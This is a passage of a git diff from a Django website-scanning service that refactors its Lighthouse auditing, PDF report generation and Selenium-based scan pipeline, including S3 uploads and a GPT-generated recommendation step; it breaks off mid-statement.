f'### Failing Components:\n' + + f'{comp_str}' + ) + + # build recommendation + response = self.build_recommendation( + details = str(intro + main_issue) + ) + recommendation = str( + f'\n\n### Recommendations:\n' + + f'{response}' + ) + + # clean recommendation + recommendation = recommendation.replace('localhost', 'app.scanerr.io') + + # build details from components + details = intro + main_issue + recommendation + + # creating new Issue + issue = Issue.objects.create( + account = account, + title = title, + details = details, + labels = labels, + trigger = trigger, + affected = affected + ) + + # new Issue + return issue + + + + + def build_recommendation( + self, + details: str=None, + ) -> str: + """ + Using OpenAI's Chat GPT, composes a personalized + `recommendation` for the primary `Issue` being created. + + Expcets: { + 'details' : str, + } + + Returns -> str + """ + + # initializing + recommendation = '' + + # building recommendation + # for self.test + if self.test: + + # send the initial request + recommendation = self.gpt_client.chat.completions.create( + model="gpt-4o-mini", # old model -> gpt-3.5-turbo + messages=[ + { + "role": "user", + "content": f"Create a recommendation for developers \ + baseded on this generated issue: '\n\n{details}\n\n'. \ + The components are portions of a regression test of a website. \ + Format with markdown. \ + Format each recommendation as a markdown task. \ + Omit the title or header in your response. \ + Remove any disclaimer or note section. \ + Remove any reference to 'Test Cases'. \ + Remove and reference to 'visual comparison tools'. \ + Max Length of Response: 170 words. \ + Tone: Instructive" + }, + ] + ).choices[0].message.content + + # building recommendation + # for self.testcase + if self.testcase: + + # send the initial request + recommendation = self.gpt_client.chat.completions.create( + model="gpt-4o-mini", # old model -> gpt-3.5-turbo + messages=[ + { + "role": "user", + "content": f"Create a recommendation for developers \ + baseded on this generated issue: '\n\n{details}\n\n'. \ + Format with markdown. \ + Format each recommendation as a markdown task. \ + Omit the title or header in your response. \ + Omit any links in your response. \ + Remove any disclaimer or notes section. \ + Remove any reference to selenium documentation. \ + Remove any reference of 'alternative selector strategies'. \ + Max Length of Response: 170 words. \ + Tone: Instructive" + }, + ] + ).choices[0].message.content + + # return recommendation + return recommendation + + + + + diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index ad917045..0f77277a 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -1,25 +1,65 @@ -import subprocess, json +import subprocess, json, uuid, boto3, os, requests from ..models import Site, Scan +from scanerr import settings + + + class Lighthouse(): - """Initializes Google's Lighthouse CLI and runs an audit of the site""" + """ + Initializes Google's Lighthouse CLI and runs an audit of the site + + Use self.get_data() to init a run + """ - def __init__(self, site=None, configs=None): - self.site = site - self.configs = configs - self.sizes = configs['window_size'].split(',') + def __init__(self, scan=None): + self.scan = scan + self.site = self.scan.site + self.page = self.scan.page + self.configs = scan.configs + self.sizes = scan.configs['window_size'].split(',') + self.audits_url = '' + + # initial scores object + self.scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + # "pwa": None, + "crux": None, + "average": None + } + + # initial audits object + self.audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best_practices": [], + # "pwa": [], + "crux": [] + } - def init_audit(self): + def lighthouse_cli(self): + """ + Serves as the CLI method for collecting LH metrics. + Creates a sub process running lighthouse CLI + + Returns --> raw LH data (Dict) + """ + + # initiating subprocess for LH CLI proc = subprocess.Popen([ 'lighthouse', '--config-path=api/utils/custom-config.js', '--quiet', - self.site.site_url, + self.page.page_url, '--plugins=lighthouse-plugin-crux', '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', f'--screenEmulation.width={self.sizes[0]}', @@ -27,129 +67,192 @@ def init_audit(self): f'--screenEmulation.{self.configs["device"]}', '--output', 'json', - ], + ], stdout=subprocess.PIPE, user='app', ) - stdout_value = proc.communicate()[0] - return stdout_value - - def get_data(self): + # retrieving data from process + stdout_value = proc.communicate()[0] + + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + # clean string of any errors try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') - - # clean string of any errors delm = '{\n "lighthouseVersion"' stdout_string = delm + stdout_string.split(delm)[1] + except Exception as e: + print(e) + + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') + + # converting stdout str into Dict + stdout_json = json.loads(stdout_value) + return stdout_json - # encode back to bytes - stdout_value = stdout_string.encode('iso-8859-1') - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - - # attempting crux - try: - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - except: - crux_score = 0 - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - else: - raise RuntimeError + + + def lighthouse_api(self) -> dict: + """ + Serves as the API method for collecting LH metrics. + Sends API requests to + + Returns --> raw LH data (Dict) + """ + + # defaults + headers = { + "content-type": "application/json", + } + params = { + "url": self.page.page_url, + "strategy": self.configs["device"], + "key": settings.GOOGLE_CRUX_KEY + } + + # cats + cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO' + + # setting up initial request + res = requests.get( + url=f'{settings.LIGHTHOUSE_ROOT}?{cats}', + params=params, + headers=headers + ).json() + + # try to get just LH response + res = res.get('lighthouseResult') + + # return response + return res + + + + def process_data(self, stdout_json: dict) -> dict: + """ + Accepts JSON data from either CLI or API method + and parses into usable Scanerr data. + + Expects the following: + stdout_json: or json from output - except Exception as e: - print(e) + Returns --> formatted LH data + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "pwa": None, - "crux": None, - "average": None - } - - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best_practices": [], - "pwa": [], - "crux": [] - } - - data = { - "scores": scores, - "audits": audits, - "failed": True - } + # changing audits & score names before iterations + self.scores['best-practices'] = self.scores.pop('best_practices') + self.audits['best-practices'] = self.audits.pop('best_practices') + self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux') + + # iterating through categories to get relevant lh_audits + # and store them in their respective `audits = {}` obj + for cat in self.audits: + # skipping non-existent cat + if stdout_json["categories"].get(cat) is None: + continue + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + self.audits[cat].append(audit) + + # get scores from each category + score_queue = [] + for cat in self.scores: + # skipping non-existent cat + if stdout_json["categories"].get(cat) is None: + continue + # record score + self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100) + # add to queue + score_queue.append(self.scores[cat]) + + # changing audits & score names back to original + self.scores['best_practices'] = self.scores.pop('best-practices') + self.audits['best_practices'] = self.audits.pop('best-practices') + self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux') + + # dynamically calculating average + average_score = round(sum(score_queue)/len(score_queue)) + self.scores['average'] = average_score + + + # save audits data as json file + file_id = uuid.uuid4() + with open(f'{file_id}.json', 'w') as fp: + json.dump(self.audits, fp) + # upload to s3 and return url + audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json') + remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json' + root_path = settings.AWS_S3_URL_PATH + self.audits_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(audit_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + # remove local copy + os.remove(audit_file) + + data = { + "scores": self.scores, + "audits": self.audits_url, + "failed": False + } + + # returning data + return data + + + + def get_data(self): + + scan_complete = False + failed = True + attempts = 0 + + # trying lighthouse scan untill success or 2 attempts + while not scan_complete and attempts < 2: + + try: + # CLI on first attempt + if attempts < 1: + raw_data = self.lighthouse_cli() + self.process_data(stdout_json=raw_data) + + # API after first attempt + if attempts >= 1: + raw_data = self.lighthouse_api() + self.process_data(stdout_json=raw_data) + + scan_complete = True + failed = False + + except Exception as e: + print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}') + scan_complete = False + failed = True + attempts += 1 + + data = { + "scores": self.scores, + "audits": self.audits_url, + "failed": failed + } + + # returning final data return data diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py index 77dffb4a..768783d0 100644 --- a/app/api/utils/reporter.py +++ b/app/api/utils/reporter.py @@ -1,43 +1,61 @@ from ..models import * -import time, os, sys, json, boto3 -import PIL.Image as Img from scanerr import settings -from datetime import datetime, timedelta from reportlab.lib.pagesizes import letter from reportlab.lib.units import inch from reportlab.lib.colors import HexColor from reportlab.pdfgen import canvas +import os, json, boto3, textwrap, requests + + -class Reporter(): - ''' - Used for generating web vitals reports for the passed `Site` obj +class Reporter(): + """ + Used for generating web vitals reports for + the associated `Page` & `Scan` Expects -> { - "report": , + 'report': , + 'scan' : , } - returns --> - - ''' + Use self.generate_report() to create a new report + + Returns -> data: { + 'report' : object, + 'success': bool, + 'message': str + } + """ + + - def __init__(self, report, scan=None): + + def __init__(self, report: object, scan: object=None): + + # getting report, scan, & page self.report = report - self.site = self.report.site + self.page = self.report.page + self.scan = scan + + # retrieveing latest scan if none if scan is None: - self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id']) - else: - self.scan = scan + try: + self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id']) + except: + self.scan = None - #building paths & canvas template + + # building paths & canvas template if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') else: os.makedirs(f'{settings.BASE_DIR}/temp') self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + # setting default colors self.page_index = 0 self.text_color = self.report.info['text_color'] self.highlight_color = self.report.info['highlight_color'] @@ -45,54 +63,103 @@ def __init__(self, report, scan=None): self.c = canvas.Canvas(self.local_path, letter) self.y = 9 + # define s3 instance + self.s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + - def setup_page(self): + + + def setup_page(self) -> None: # sets the defaults for a new page self.c.setFillColor(HexColor(self.background_color)) self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1) + return None + + - def end_page(self): + def end_page(self) -> None: # adds page number and ends page self.c.setFont('Helvetica-Bold', 15) self.c.setFillColor(HexColor(self.text_color)) self.page_index += 1 self.c.drawString(7.7*inch, .3*inch, str(self.page_index)) self.c.showPage() + return None - def draw_page_title(self, title): + + + def draw_page_title(self, title: str) -> None: # adds a title to the given page self.c.setFont('Helvetica-Bold', 32) self.c.setFillColor(HexColor(self.text_color)) self.c.drawCentredString(4.25*inch, 10*inch, title) + return None + - def publish_report(self): - self.c.save() - remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf' - s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) + def publish_report(self) -> None: + # saves report and uploads to s3 + self.c.save() + remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf' # uploading package to remote s3 with open(self.local_path, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), remote_path, ExtraArgs={ 'ACL': 'public-read', 'ContentType': 'application/pdf'} ) - + # building and saving report_url report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0' - self.report.path = report_url self.report.save() os.remove(self.local_path) + return None + + + + + def draw_wrapped_line( + self, + text: str, + length: int, + x_pos: int, + y_pos: int, + y_offset: int + ) -> None: + """ + :param text: the raw text to wrap + :param length: the max number of characters per line + :param x_pos: starting x position + :param y_pos: starting y position + :param y_offset: the amount of space to leave between wrapped lines + """ + # Wraps the passed test at a certain char_length + if len(text) > length: + wraps = textwrap.wrap(text, length, break_long_words=True) + for x in range(len(wraps)): + self.c.drawString(x_pos*inch, y_pos*inch, wraps[x]) + y_pos -= y_offset + y_pos += y_offset # add back offset after last wrapped line + else: + self.c.drawString(x_pos*inch, y_pos*inch, text) + return None - def cover_page(self): + + def cover_page(self) -> None: + """ + Builds the cover page with a title + + Returns -> None + """ + # background and title self.setup_page() @@ -125,28 +192,53 @@ def cover_page(self): self.c.setFont('Helvetica-Bold', 45) self.c.setFillColor(HexColor(self.text_color)) self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') - if len(self.site.site_url) <= 12: - self.c.drawString(.5*inch, 9*inch, self.site.site_url) - elif 12 < len(self.site.site_url): - extra_chars = len(self.site.site_url) - 12 - m = (3/5) - self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) - self.c.setFillColor(HexColor(self.text_color)) - self.c.drawString(.5*inch, 9*inch, self.site.site_url) + + # page url + font_size = max((30 * (26/len(self.page.page_url))), 16) + self.c.setFont('Helvetica-Bold', font_size) + self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5) + + # if len(self.page.page_url) <= 12: + # self.c.setFont('Helvetica-Bold', 30) + # self.c.drawString(.5*inch, 9*inch, self.page.page_url) + + # elif 12 < len(self.page.page_url): + # extra_chars = len(self.page.page_url) - 12 + # m = (2/5) + # y_offset = .5 + # length = int(20 + (extra_chars * m)) + # self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) + # self.c.setFillColor(HexColor(self.text_color)) + # self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset) + # cover img cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png") self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto') - self.end_page() - + return None + - def get_score_data(self, score, is_binary=False): + def get_score_data(self, score: float, is_binary: bool=False) -> dict: + """ + Using the passed 'score', decide on + which grade and color to return. + + Expects: { + 'score' : float, + 'is_binary' : bool + } + + Returns -> dict + """ + + # calc score if binary score = float(score) if is_binary: score = score*100 + # defining score types score_types = { "a": { "grade": "A", @@ -175,6 +267,7 @@ def get_score_data(self, score, is_binary=False): } + # calculate grade if score >= 80: grade = score_types['a'] elif 80 > score >= 70: @@ -188,10 +281,16 @@ def get_score_data(self, score, is_binary=False): else: grade = score_types['f'] + # return return grade - def get_cat_string(self, cat): + + + def get_cat_string(self, cat: str) -> str: + """ + Returns the string coresponding to the passed 'cat' + """ if cat == 'fonts': string = 'Fonts' @@ -199,8 +298,8 @@ def get_cat_string(self, cat): string = 'Bad CSS' elif cat == 'jQuery': string = 'jQuery' - elif cat == 'requests': - string = 'Requests' + elif cat == 'images': + string = 'Images' elif cat == 'pageWeight': string = 'Page Weight' elif cat == 'serverConfig': @@ -228,18 +327,46 @@ def get_cat_string(self, cat): return string + + + + def get_audits(self, uri: str) -> dict: + """ + Downloads the JSON file from the passed uri + and return the data as a python dict + """ + res = requests.get(uri) + audits = res.json() + return audits - def create_data(self, data_type=str): + + + def create_data(self, data_type: str) -> None: + """ + Paints the data for the passed 'data_type', + either 'lighthouse' or 'yellowlab'. + + Expects: { + 'data_type': str + } + + Returns -> None + """ + + # add new page self.setup_page() + # decide on which data type if data_type == 'yellowlab': data = self.scan.yellowlab + data['audits'] = self.get_audits(data['audits']) page_title = 'Yellow Lab' avg_score = 'globalScore' - + if data_type == 'lighthouse': data = self.scan.lighthouse + data['audits'] = self.get_audits(data['audits']) page_title = 'Lighthouse' avg_score = 'average' @@ -298,7 +425,6 @@ def create_data(self, data_type=str): f'{data["scores"][avg_score]}/100' ) - # creating new page at limit --> 20 items if logs_count >= 20: self.end_page() @@ -310,8 +436,6 @@ def create_data(self, data_type=str): # creating space btw sections if c_count > 0 and logs_count != 0: begin_y = (self.y - .2) - - # creating individual grade cards grade_obj = self.get_score_data(data['scores'][cat]) @@ -341,7 +465,6 @@ def create_data(self, data_type=str): cat_string ) - p_count = 0 for policy in data['audits'][cat]: @@ -361,7 +484,6 @@ def create_data(self, data_type=str): policy_value = policy["displayValue"] binary = True - if len(policy_text) < 53: # creating log box self.c.setFont('Helvetica', 9) @@ -403,60 +525,63 @@ def create_data(self, data_type=str): (f'{policy_value}') ) - p_count += 1 logs_count += 1 self.y = (begin_y - (space * p_count)) c_count += 1 - - self.end_page() + return None + def generate_report(self) -> dict: + """ + Generates a new Report. + Returns -> data: { + 'report' : object, + 'success': bool, + 'message': str + } + """ + # setting defaults + message = 'Scan Page first' + success = False - - - - - - - - - - - - - - - - - - - def make_test_report(self): + # generating if scan is available + if self.scan: + + # add title + self.cover_page() - self.cover_page() - - if 'lighthouse' in self.report.type or 'full' in self.report.type: - self.create_data(data_type='lighthouse') - - if 'yellowlab' in self.report.type or 'full' in self.report.type: - self.create_data(data_type='yellowlab') + # build lighthouse data + if 'lighthouse' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='lighthouse') - if 'crux' in self.report.type or 'full' in self.report.type: - self.setup_page() - self.draw_page_title('CRUX') - self.end_page() + # build yellowlab data + if 'yellowlab' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='yellowlab') + + # save report + self.publish_report() + message = 'Report Generated' + success = True + + # formating response + data = { + 'report' : self.report, + 'success': success, + 'message': message + } - self.publish_report() - return self.report + # returning response + return data diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 13424f82..af0d64a4 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -1,104 +1,107 @@ -from .driver_s import driver_init as driver_s_init, quit_driver -from .driver_s import driver_wait -from .driver_p import get_data -from ..models import Site, Scan, Test -from django.forms.models import model_to_dict -from django.core.serializers.json import DjangoJSONEncoder +from .driver import ( + driver_init, quit_driver, + driver_wait , get_data +) +from ..models import * +from .automater import Automater +from .tester import Tester from .lighthouse import Lighthouse from .yellowlab import Yellowlab -from .image import Image +from .imager import Imager from datetime import datetime -import time, os, sys, json, asyncio +from scanerr import settings +import os, asyncio, uuid, boto3 + + + class Scanner(): + """ + Used to run and build all the + components of a new `Scan` + + Expects -> { + 'site' : object, + 'page' : object, + 'scan' : object, + 'type' : list + } + + Use self.build_scan() to create a new Scan + + Returns -> `Scan` object + """ + + + def __init__( self, - site=None, - scan=None, - configs=None, - type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] + site: object=None, + page: object=None, + scan: object=None, + type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] ): - if site == None and scan != None: - site = scan.site - - if configs is None: - configs = { - 'window_size': '1920,1080', - 'driver': 'selenium', - 'device': 'desktop', - 'mask_ids': None, - 'interval': 5, - 'min_wait_time': 10, - 'max_wait_time': 60, - 'timeout': 300, - 'disable_animations': False - } - self.site = site - - if configs['driver'] == 'selenium': - self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) - - if scan is not None: - self.scan = scan - else: - self.scan = None - - self.configs = configs + self.page = page + self.scan = scan self.type = type + # getting page and site if None + if site == None and scan != None: + self.site = scan.site + if page == None and scan != None: + self.page = scan.page + + - def first_scan(self): + def build_scan(self) -> object: """ - Method to run a scan independently of an existing `scan` obj. + Method to run a scan independently of an existing `scan` obj. - returns -> `Scan` + Returns -> `Scan` """ + # setting defaults html = None logs = None images = None lh_data = None yl_data = None - - if self.scan is None: - self.scan = Scan.objects.create(site=self.site, type=self.type) - - if self.configs['driver'] == 'selenium': - self.driver.get(self.site.site_url) - if 'html' in self.scan.type or 'full' in self.scan.type: - html = self.driver.page_source - if 'logs' in self.scan.type or 'full' in self.scan.type: - logs = self.driver.get_log('browser') - if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - quit_driver(self.driver) - else: - driver_data = asyncio.run( - get_data( - url=self.site.site_url, - configs=self.configs - ) - ) - if 'html' in self.scan.type or 'full' in self.scan.type: - html = driver_data['html'] - if 'logs' in self.scan.type or 'full' in self.scan.type: - logs = driver_data['logs'] - if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + # running scan steps with selenium driver + driver = driver_init( + browser=self.scan.configs.get('browser', 'chrome'), + window_size=self.scan.configs['window_size'], + device=self.scan.configs['device'] + ) + driver.get(self.page.page_url) + driver_data = get_data( + driver=driver, + browser=self.scan.configs.get('browser', 'chrome'), + max_wait_time=self.scan.configs['max_wait_time'] + ) + if 'html' in self.scan.type or 'full' in self.scan.type: + html = driver_data['html'] + if 'logs' in self.scan.type or 'full' in self.scan.type: + logs = driver_data['logs'] + if 'vrt' in self.scan.type or 'full' in self.scan.type: + images = Imager(scan=self.scan).scan_vrt(driver=driver) if 'lighthouse' in self.scan.type or 'full' in self.scan.type: - lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + lh_data = Lighthouse(scan=self.scan).get_data() if 'yellowlab' in self.scan.type or 'full' in self.scan.type: - yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(scan=self.scan).get_data() + # quiting selenium instance + quit_driver(driver) + + # updating Scan object if html is not None: - self.scan.html = html + save_html(html, self.scan) if logs is not None: self.scan.logs = logs if images is not None: @@ -108,174 +111,197 @@ def first_scan(self): if yl_data is not None: self.scan.yellowlab = yl_data - self.scan.configs = self.configs + # saving scan data self.scan.time_completed = datetime.now() self.scan.save() - first_scan = self.scan - update_site_info(first_scan) + # update Scan.score + update_scan_score(self.scan) - return first_scan + # updating Site and Page objects + update_page_info(self.scan) + update_site_info(self.scan) + # return updated scan obj + return self.scan - def second_scan(self): - """ - Method to run a scan and attach existing `Scan` obj to it. +def update_scan_score(scan: object) -> object: + """ + Method to calculate the average health score and update + for the passed scan - returns -> `Scan` - """ - if not self.scan: - first_scan = Scan.objects.filter( - site=self.site, - time_completed__isnull=False - ).order_by('-time_created').first() - - else: - first_scan = self.scan + Expects: { + 'scan': object + } - # create second scan obj - second_scan = Scan.objects.create(site=self.site, type=self.type) + Returns -> `Scan` + """ + + # setting defaults + score = None + scores = [] - html = None - logs = None - images = None - lh_data = None - yl_data = None - - if self.configs['driver'] == 'selenium': - self.driver.get(self.site.site_url) - if 'html' in second_scan.type or 'full' in second_scan.type: - html = self.driver.page_source - if 'logs' in second_scan.type or 'full' in second_scan.type: - logs = self.driver.get_log('browser') - if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - quit_driver(self.driver) - else: - driver_data = asyncio.run( - get_data( - url=self.site.site_url, - configs=self.configs - ) - ) - if 'html' in second_scan.type or 'full' in second_scan.type: - html = driver_data['html'] - if 'logs' in second_scan.type or 'full' in second_scan.type: - logs = driver_data['logs'] - if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + # get latest scan scores + if scan.lighthouse['scores']['average'] is not None: + scores.append(scan.lighthouse['scores']['average']) + if scan.yellowlab['scores']['globalScore'] is not None: + scores.append(scan.yellowlab['scores']['globalScore']) + + # calc average score + if len(scores) > 0: + score = sum(scores)/len(scores) + + # save to scan + scan.score = score + scan.save() - if 'lighthouse' in second_scan.type or 'full' in second_scan.type: - lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() - if 'yellowlab' in second_scan.type or 'full' in second_scan.type: - yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + # returning scan + return scan - if html is not None: - second_scan.html = html - if logs is not None: - second_scan.logs = logs - if images is not None: - second_scan.images = images - if lh_data is not None: - second_scan.lighthouse = lh_data - if yl_data is not None: - second_scan.yellowlab = yl_data - second_scan.configs = self.configs - second_scan.time_completed = datetime.now() - second_scan.paired_scan = first_scan - second_scan.save() - - first_scan.paried_scan = second_scan - first_scan.save() - update_site_info(second_scan) - - return second_scan +def update_site_info(scan: object) -> object: + """ + Method to update associated Site with the new Scan data + Expects: { + 'scan': object + } + Returns -> `Site` + """ + + # setting defaults + score = None + scores = [] + site = scan.site + pages = Page.objects.filter(site=site) + + # get latest scan of pages + scans = [] + for page in pages: + if Scan.objects.filter(page=page).exists(): + scan = Scan.objects.filter(page=page).order_by('-time_completed')[0] + if scan.score: + scores.append(scan.score) + + # calc average score + if len(scores) > 0: + score = sum(scores)/len(scores) + + # saving new info to site + site.info['latest_scan']['id'] = str(scan.id) + site.info['latest_scan']['time_created'] = str(scan.time_created) + site.info['latest_scan']['time_completed'] = str(scan.time_completed) + site.info['latest_scan']['score'] = score + site.save() + # returning site + return site -def update_site_info(scan): +def update_page_info(scan: object) -> object: """ - Method to update associated Site with the new Scan data + Method to update associated Page with the new Scan data - returns -> `Site` + Expects: { + 'scan': object + } + + Returns -> `Page` """ - - health = 'No Data' - badge = 'neutral' - d = 0 - score = 0 - site = scan.site - if scan.lighthouse['scores']['average'] is not None: - score += float(scan.lighthouse['scores']['average']) - d += 1 - if scan.yellowlab['scores']['globalScore'] is not None: - score += float(scan.yellowlab['scores']['globalScore']) - d += 1 - - if score != 0: - score = score / d - if score >= 75: - health = 'Good' - badge = 'success' - elif 75 > score >= 60: - health = 'Okay' - badge = 'warning' - elif 60 > score: - health = 'Poor' - badge = 'danger' - - else: - if scan.site.info['status']['score'] is not None: - score = float(site.info['status']['score']) - health = site.info['status']['health'] - badge = site.info['status']['badge'] - else: - score = None + # saving new info to page + scan.page.info['latest_scan']['id'] = str(scan.id) + scan.page.info['latest_scan']['time_created'] = str(scan.time_created) + scan.page.info['latest_scan']['time_completed'] = str(scan.time_completed) + scan.page.info['latest_scan']['score'] = scan.score + scan.page.info['lighthouse'] = scan.lighthouse.get('scores') + scan.page.info['yellowlab'] = scan.yellowlab.get('scores') + scan.page.save() + + # returning page + return scan.page - site.info['latest_scan']['id'] = str(scan.id) - site.info['latest_scan']['time_created'] = str(scan.time_created) - site.info['latest_scan']['time_completed'] = str(scan.time_completed) - site.info['lighthouse'] = scan.lighthouse.get('scores') - site.info['yellowlab'] = scan.yellowlab.get('scores') - site.info['status']['health'] = str(health) - site.info['status']['badge'] = str(badge) - site.info['status']['score'] = score - site.save() - return site +def save_html(html: str, scan: object) -> object: + """ + Saves html page source as a '.txt' file and uploads + to s3. Then saves the remote uri to the `scan` obj. + Expects: { + html: str, + scan: object + } + Returns -> `Scan` + """ + # setup boto3 configuration + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # save html data as text file + file_id = uuid.uuid4() + with open(f'{file_id}.txt', 'w') as fp: + fp.write(html) + + # upload to s3 and return url + html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt') + remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt' + root_path = settings.AWS_S3_URL_PATH + html_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(html_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"} + ) + + # save to scan obj + scan.html = html_url + scan.save() + # remove local copy + os.remove(html_file) + # return scan + return scan -def check_scan_completion(scan): +def check_scan_completion(scan: object, test_id: str=None, automation_id: str=None) -> object: """ - Method that checks if the scan has finished all - components. If so, method also updates scan and site - info. + Method that checks if the scan has finished all + components. If so, method also updates Scan, Site, + & Page info. If test_id is present, initiates a run_test() + + Expects: { + scan: object, + test_id: str, + automation_id: str + } - returns -> `Scan` + Returns -> `Scan` """ + # setting defaults finished = True + # checking for each scan type completion if 'html' in scan.type or 'full' in scan.type: if scan.html == None or scan.html == '': finished = False @@ -299,150 +325,208 @@ def check_scan_completion(scan): # deciding if done if finished is True: time_completed = datetime.now() - update_site_info(scan) scan.time_completed = time_completed scan.save() + update_scan_score(scan) + update_page_info(scan) + update_site_info(scan) + # start Test if test_id present + if test_id is not None: + print('\n---------------\nScan Complete\nStarting Test...\n---------------\n') + test = 